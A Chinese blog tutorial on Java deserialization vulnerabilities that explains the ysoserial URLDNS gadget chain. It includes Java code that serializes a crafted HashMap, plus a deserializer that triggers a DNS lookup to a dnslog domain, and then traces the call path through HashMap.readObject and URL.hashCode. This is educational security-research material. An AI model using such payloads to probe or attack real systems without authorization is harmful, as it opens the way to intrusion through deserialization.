Java代码审计:Java反序列化入门之URLDNS链

0x00 前言

自学Java 代码审计,主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。

之前研究了,但是没有整理好,因为有hvv任务,所以推迟了一些,现在赶紧整理发出来。

0x01 Java反序列化介绍

Java反序列化漏洞的产生原因:

简单的说就是,在于开发者在重写 readObject 方法的时候,写入了漏洞代码。

序列化和反序列化本身并不存在问题

但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

0x02 反序列化方法的对比

在接触Java反序列化之前,就是PHP了,PHP的反序列化和着还是有区别的

  • 他们最基本的原理是类似的,反复横跳,找到一个利用链。

  • 都是用于数据存储的一个格式化的操作。

  • 将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,还原成对象。

  • 而Java其提供了更加高级的writeObject ,允许在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读

0x021 PHP反序列化

  • 我们熟悉的都是那些魔术方法,去触发魔术方法,构造pop链。
  • wakeup 魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
  • PHP的序列化、反序列化是低层过程,PHP的序列化是开发者是不能操作的。
  • 开发者调用 serialize 函数后,序列化的数据就已经完成。
  • 魔术方法只是在序列化前后对这个对象的操作。

0x022 JAVA反序列化

  • Java在序列化时一个对象,就不一样了,Java是在序列化的中间,去触发一下利用链,而不是php在序列化完成后
  • Java在序列化时,将会调用这个对象中的 writeObject 方法
  • 反序列化时,会调用readObject
  • writeObject和readObject 方法开发者多种情况都是自己会重写,造成一些问题,构造触发链。

0x03 ysoserial 介绍

  • 15年的Apache Commons Collections 反序列化远程命令执行漏洞 (ysoserial 的最早的 commit )

  • 同时无数 Java 应用系统各种rce疯狂爆出

  • 反序列化漏洞利⽤⼀个⾥程碑式的⼯具,ysoserial。

  • 最开始我都以为,这是一个特定的利用工具,后来发现,为啥好多漏洞都用这个,才知道这是一个通用的工具。

  • ysoserial集合了各种java反序列化payload,它可以⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏命令。

0x04 URLDNS 原理

这个是ysoserial中最简单的一条利用链了,也常常作为检测反序列化的功能,URLDNS这个pop链的大概的工作原理:

1、 java.util.HashMap重写了readObject方法:

​ 在反序列化时会调用 hash 函数计算 key 的 hashCode

2、java.net.URL对象的 hashCode 在计算时会调用 getHostAddress 方法

3、getHostAddress方法从而解析域名发出 DNS 请求

0x05 构建漏洞代码

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

ysoserial生成的代码,原理是一样的,下面是参考原理改写的一段,自己调试学习

反序列化的第一步,你得接受对象,然后反序列化吧

那么我们采用本地写一个序列号数据测试

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
    public static void main(String[] args) throws Exception {
      	
      	//漏洞出发点 hashmap,实例化出来
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
      
      	//URL对象传入自己测试的dnslog
        URL url = new URL("http://40zkzk.dnslog.cn");
      
      	//反射获取 URL的hashcode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
      	
      	//使用内部方法
        f.setAccessible(true);
      	
      	// put 一个值的时候就不会去查询 DNS,避免和刚刚混淆
        f.set(url, 0xdeadbeef); 
        hashMap.put(url, "zeo");
      
      	// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
        f.set(url, -1); 

      	//序列化成对象,输出出来
        ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
        objos.writeObject(hashMap);
    }
}

随后,开始反序列化,触发漏洞

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class test {
    public static void main(String[] args) throws Exception {
      //读取目标
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin"));
      //反序列化
        ois.readObject();
    }
}

触发

先运行第一个,生产序列化数据

再运行第二个,反序列化触发漏洞

最后收到dnslog

注意:每次换DNSLOG的时候,都有重新生产序列化数据

0x06 代码分析

先看一下利用连,熟悉一下路径

HashMap->readObject() 反序列化点触发
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress() 发出解析请求

梦开始的地方是HashMap 类

我们前⾯说了,触发反序列化的⽅法是 readObject

找到HashMap 类的 readObject ⽅法

Java代码审计:Java反序列化入门之URLDNS链_第1张图片

触发点在 1413行的

 putVal(hash(key), key, value, false, false);

然后就是,其中的第一个参数 hash(key) 方法

static final int hash(Object key) {
   int h;
   return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里就是换对象了,这里的key肯定不是null,那么就会触发 key.hashCode()

这里使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b3LQziqw-1597834189373)(/Users/zy/Library/Application Support/typora-user-images/image-20200813212359358.png)]

URL对象再次跟入 继续跟进其 hashCode ⽅法

359行 getHostAddress 方法传入了 DNSLOG地址

Java代码审计:Java反序列化入门之URLDNS链_第2张图片

再跟入,其实就是442行,直接一句发出请求了

Java代码审计:Java反序列化入门之URLDNS链_第3张图片

现在运行前

Java代码审计:Java反序列化入门之URLDNS链_第4张图片

这剧请求了URL,发出了请求

Java代码审计:Java反序列化入门之URLDNS链_第5张图片

收到DNS请求,成功触发URLDNS整个功能

Java代码审计:Java反序列化入门之URLDNS链_第6张图片

0x07 坑点:

新手第一次调试,总找不到触发点,还以为不在这,尤其是这个地方

image-20200818145534883

这里有好几个对象, 要循环好几次,所以要找到 URL对象,再步入参数的hash函数

image-20200818145851784

0x07 参考

https://xz.aliyun.com/t/7157#toc-0

你可能感兴趣的:(代码审计)